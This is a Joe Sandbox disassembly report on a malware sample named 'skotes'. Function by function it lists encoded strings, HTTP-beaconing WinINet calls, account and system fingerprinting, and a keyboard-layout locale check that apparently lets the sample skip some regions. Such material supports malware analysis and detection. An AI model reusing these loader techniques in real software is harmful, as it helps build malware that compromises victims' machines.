MGE+, xrefs: 00E8E821
9c9aa5, xrefs: 00E8FB8E
invalid stoi argument, xrefs: 00E908B0
", xrefs: 00E8FDC2
UA==, xrefs: 00E8EB0F, 00E8EC41, 00E8ED56, 00E8EF89, 00E8F2CE
#, xrefs: 00E90624
mxo1L0x, xrefs: 00E8EE84
111, xrefs: 00E8F7A0
FisgLnsCZO1i, xrefs: 00E8FF19
246122658369, xrefs: 00E8F737, 00E8FA14, 00E8FE00, 00E905E7
WTs=, xrefs: 00E905CA
FCQgKF==, xrefs: 00E8FEE4

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: mxo1L0x$"$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$GnNoc2Hc$L1$MGE+$MQ==$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-3200787904
Opcode ID: 69c4a1b5ed84529d2d423c21c49322e09eb96619e6811bb9f01ca5e69de85a96
Instruction ID: 6567a48de450d375bd788f4a7853b8889e4d386eb09405b92bdaaeae89e5d8e0
Opcode Fuzzy Hash: 69c4a1b5ed84529d2d423c21c49322e09eb96619e6811bb9f01ca5e69de85a96
Instruction Fuzzy Hash: D9233B71A101489BEF18EB38CD8979DBB72EF81304F54929CE44DB73D6DB358A848B91

Function 00E8BE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 00E8BEB8
InternetOpenW.WININET(00ED8DC8,00000000,00000000,00000000,00000000), ref: 00E8BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00E8BEEB
HttpOpenRequestA.WININET(?,00000000), ref: 00E8BF36
HttpSendRequestA.WININET(?,00000000), ref: 00E8BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00E8C0A8
InternetCloseHandle.WININET(?), ref: 00E8C187
InternetCloseHandle.WININET(?), ref: 00E8C18F
InternetCloseHandle.WININET(?), ref: 00E8C197

Strings

invalid stoi argument, xrefs: 00E8E4F4
RmNn, xrefs: 00E8D606
8HJUeMD Lq5=, xrefs: 00E8C465
RE1NXF==, xrefs: 00E8BF0E
8HJUeIfzLo==, xrefs: 00E8C3CB, 00E8C623
stoi argument out of range, xrefs: 00E8E4EA

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: 0ee237f8da0e0c006dbb9a0f6fa1cd0ba4897df25a7e101729f52b5bd856aa4c
Instruction ID: b47d6cc5094680c3ef9180ab0ebdf3335a2688c39316ad472639432c838004e7
Opcode Fuzzy Hash: 0ee237f8da0e0c006dbb9a0f6fa1cd0ba4897df25a7e101729f52b5bd856aa4c
Instruction Fuzzy Hash: A2B1D5B16002189BDB24DF28CC85B9EBBB5EF46304F505199F50CA72D2DB719AC4CFA5

Function 00E865E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00E86680

Strings

GSTmfV==, xrefs: 00E86728
ISNmfV==, xrefs: 00E867D1
RySfdMLx, xrefs: 00E8669C

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: ce31ed20a31bced3ebb2b48f98f639c77a15676b15455921b636e952d7ca3242
Instruction ID: 2a4c45b031c553e4909a4a19d2bfaac1afa45eb05d1c268eba4a78574992bc30
Opcode Fuzzy Hash: ce31ed20a31bced3ebb2b48f98f639c77a15676b15455921b636e952d7ca3242
Instruction Fuzzy Hash: 5D91D3B19001189BDF28EB28CC85BDDB7B9EB45304F4055EDE50DE7292DA319BC48FA4

Function 00E9D3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00E824BE

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: e02190d48f35421920b7be16f84592a4a47a2f12dfe55d7bc48228a1485280ba
Instruction ID: 92653681edb90907c075e4cb9cf7a608e7df1ab9ecd6f420a2f393105050249c
Opcode Fuzzy Hash: e02190d48f35421920b7be16f84592a4a47a2f12dfe55d7bc48228a1485280ba
Instruction Fuzzy Hash: 2C519B72E0461A8FDB15CF59DCC56AEB7E4FB48318F24852AE409FB290E370A944CB90

Function 00E94390 Relevance: 42.8, APIs: 1, Strings: 22, Instructions: 2584sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00E97A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00E97AEC
Part of subcall function 00E97A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00E97AF8
Part of subcall function 00E97A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00E97B01

Part of subcall function 00E8BE30: Sleep.KERNEL32(000005DC), ref: 00E8BEB8
Part of subcall function 00E8BE30: InternetOpenW.WININET(00ED8DC8,00000000,00000000,00000000,00000000), ref: 00E8BEC8
Part of subcall function 00E8BE30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00E8BEEB
Part of subcall function 00E8BE30: HttpOpenRequestA.WININET(?,00000000), ref: 00E8BF36

std::_Xinvalid_argument.LIBCPMT ref: 00E94F92
Sleep.KERNEL32 ref: 00E96CF5

Strings

VXQ0, xrefs: 00E9550A
MGI+, xrefs: 00E948AD, 00E949DC, 00E94BCC, 00E94CFB
9HQ0, xrefs: 00E954E1
GE0, xrefs: 00E95585
VXA0, xrefs: 00E955AE
anE0, xrefs: 00E9566B
3I3eB==, xrefs: 00E94802
stoi argument out of range, xrefs: 00E94F9C
MGE+, xrefs: 00E94866, 00E948DD, 00E94B85, 00E94BFC
WGS0, xrefs: 00E95533
93E0, xrefs: 00E95600
aWW0, xrefs: 00E9555C
9c9aa5, xrefs: 00E95619
invalid stoi argument, xrefs: 00E94F8D
Fw==, xrefs: 00E94E1D
9250, xrefs: 00E954AD
KCWUOl==, xrefs: 00E95649
8WI0, xrefs: 00E95692
jS=, xrefs: 00E96513
2I0, xrefs: 00E95627
246122658369, xrefs: 00E9502A, 00E9503D, 00E9507F, 00E95089, 00E95684
Vmc0, xrefs: 00E955D7

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpenSleep$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$invalid stoi argument$stoi argument out of range
API String ID: 3927735766-4005516279
Opcode ID: 78f4b8998fee8591841b71da24417b2acb8f2b40e669f87f1b53812d9fc88a7e
Instruction ID: 009027a2990e182ab67ffc08c7d110052bdffa852527aa607d928ada93536991
Opcode Fuzzy Hash: 78f4b8998fee8591841b71da24417b2acb8f2b40e669f87f1b53812d9fc88a7e
Instruction Fuzzy Hash: ED2336B1A002588BEF19DB28CD89B9DBBB6DB81304F54919CE049B72D2DB359F848F51

Function 00E92F10 Relevance: 36.3, APIs: 5, Strings: 15, Instructions: 1325COMMON

Download Yara Rule

APIs

Part of subcall function 00E97A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00E97AEC
Part of subcall function 00E97A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00E97AF8
Part of subcall function 00E97A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00E97B01

std::_Xinvalid_argument.LIBCPMT ref: 00E9434F

Strings

WDw=, xrefs: 00E934AA
WX f, xrefs: 00E93BDE
8HJUeIfzLo==, xrefs: 00E92FB7, 00E93226
WGpm, xrefs: 00E93CC9
stoi argument out of range, xrefs: 00E94359
V2Te, xrefs: 00E93EB0
invalid stoi argument, xrefs: 00E9434A
Fw==, xrefs: 00E9378E
Hykl, xrefs: 00E9387F
8HJUeMD Lq5=, xrefs: 00E93054
246122658369, xrefs: 00E92F78, 00E93463, 00E934C4
WTs=, xrefs: 00E93449
WTw=, xrefs: 00E92F5E
5120, xrefs: 00E93BAF, 00E93C9A
", xrefs: 00E93F89

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: "$246122658369$5120$8HJUeIfzLo==$8HJUeMD Lq5=$Fw==$Hykl$V2Te$WDw=$WGpm$WTs=$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-3001895933
Opcode ID: 4e833b11de80d064a3c11855637a98cda845a3d7ddd0930c045d730dd4cf61de
Instruction ID: 1458a21e6726888745f0e2bedeeae44452c7f1afb049d5ede983c97ac70d7630
Opcode Fuzzy Hash: 4e833b11de80d064a3c11855637a98cda845a3d7ddd0930c045d730dd4cf61de
Instruction Fuzzy Hash: 0CB22371A002489BDF18EFB8CD86B9EBBB5EF46304F50514CE445B72C2DB759B848B92

Function 00E947B0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2516COMMON

Download Yara Rule

APIs

Part of subcall function 00E97A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00E97AEC
Part of subcall function 00E97A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00E97AF8
Part of subcall function 00E97A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00E97B01

Part of subcall function 00E8BE30: Sleep.KERNEL32(000005DC), ref: 00E8BEB8
Part of subcall function 00E8BE30: InternetOpenW.WININET(00ED8DC8,00000000,00000000,00000000,00000000), ref: 00E8BEC8
Part of subcall function 00E8BE30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00E8BEEB
Part of subcall function 00E8BE30: HttpOpenRequestA.WININET(?,00000000), ref: 00E8BF36

std::_Xinvalid_argument.LIBCPMT ref: 00E94F92

Strings

VXQ0, xrefs: 00E9550A
MGI+, xrefs: 00E948AD, 00E949DC, 00E94BCC, 00E94CFB
9HQ0, xrefs: 00E954E1
GE0, xrefs: 00E95585
VXA0, xrefs: 00E955AE
anE0, xrefs: 00E9566B
3I3eB==, xrefs: 00E94802
stoi argument out of range, xrefs: 00E94F9C
MGE+, xrefs: 00E94866, 00E948DD, 00E94B85, 00E94BFC
WGS0, xrefs: 00E95533
93E0, xrefs: 00E95600
aWW0, xrefs: 00E9555C
9c9aa5, xrefs: 00E95619
Fw==, xrefs: 00E94E1D
9250, xrefs: 00E954AD
KCWUOl==, xrefs: 00E95649
8WI0, xrefs: 00E95692
jS=, xrefs: 00E96513, 00E967E2
2I0, xrefs: 00E95627
246122658369, xrefs: 00E9502A, 00E9503D, 00E9507F, 00E95089, 00E95684
Vmc0, xrefs: 00E955D7

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleepXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 4201286991-1982281295
Opcode ID: b74f42f56594f73bc7e50f047a78bf2e661a138bd39f04581e066f220c2a811d
Instruction ID: 887d30979c136ad91d008ebd762371f466fac6d9d2dbf21b9738efb4257b23fd
Opcode Fuzzy Hash: b74f42f56594f73bc7e50f047a78bf2e661a138bd39f04581e066f220c2a811d
Instruction Fuzzy Hash: 822313B1A002588BEF19DB28CD8979DBBB6AB81304F5491DCE049BB2D2DB355F84CF51

Function 00E93640 Relevance: 18.3, APIs: 1, Strings: 9, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00E9434F

Part of subcall function 00E97A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00E97AEC
Part of subcall function 00E97A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00E97AF8
Part of subcall function 00E97A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00E97B01

Strings

V2Te, xrefs: 00E93EB0
invalid stoi argument, xrefs: 00E92ED9, 00E92EE8, 00E9434A
Fw==, xrefs: 00E9378E
Hykl, xrefs: 00E9387F
WX f, xrefs: 00E93BDE
WGpm, xrefs: 00E93CC9
stoi argument out of range, xrefs: 00E92EF2, 00E94359
5120, xrefs: 00E93BAF, 00E93C9A
", xrefs: 00E93F89

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: "$5120$Fw==$Hykl$V2Te$WGpm$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-2496833627
Opcode ID: 21dd5d435c8bbb5a912a406239d14bb40165a17b1c2fe7fa86eeb218833ab924
Instruction ID: f95788c89913cddb7e31ce75059097f278231d88835984197a30b37a3eae426e
Opcode Fuzzy Hash: 21dd5d435c8bbb5a912a406239d14bb40165a17b1c2fe7fa86eeb218833ab924
Instruction Fuzzy Hash: 575224B1A002489BDF18EF78CD46BDDBBB5AF46300F54458CE445B72C2DB759B848B92

Function 00E85EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 00E85F13

Strings

00000422, xrefs: 00E860C9
00000423, xrefs: 00E860FA
0000043f, xrefs: 00E8612B
00000419, xrefs: 00E86098
Keyboard Layout\Preload, xrefs: 00E86054

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: 9eb95048058cf5958c5fdc2da867531e5bc339f2aba48a88b12e79dfb6e7b712
Instruction ID: 4efce2d731a6e5d150cfc88d876e2a011298ddb0430f8e60d36e7640dc340dc4
Opcode Fuzzy Hash: 9eb95048058cf5958c5fdc2da867531e5bc339f2aba48a88b12e79dfb6e7b712
Instruction Fuzzy Hash: 4CD1AE719002589BEF24EF64CC85BDEB7B9EB05300F5042D8E50CF7291DB749AA88F95

Function 00E87D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00E87ED3

Strings

JjsrQV==, xrefs: 00E88092
JjsrPl==, xrefs: 00E8828A
JjssPV==, xrefs: 00E881E2
JjssOl==, xrefs: 00E8813A

Memory Dump Source

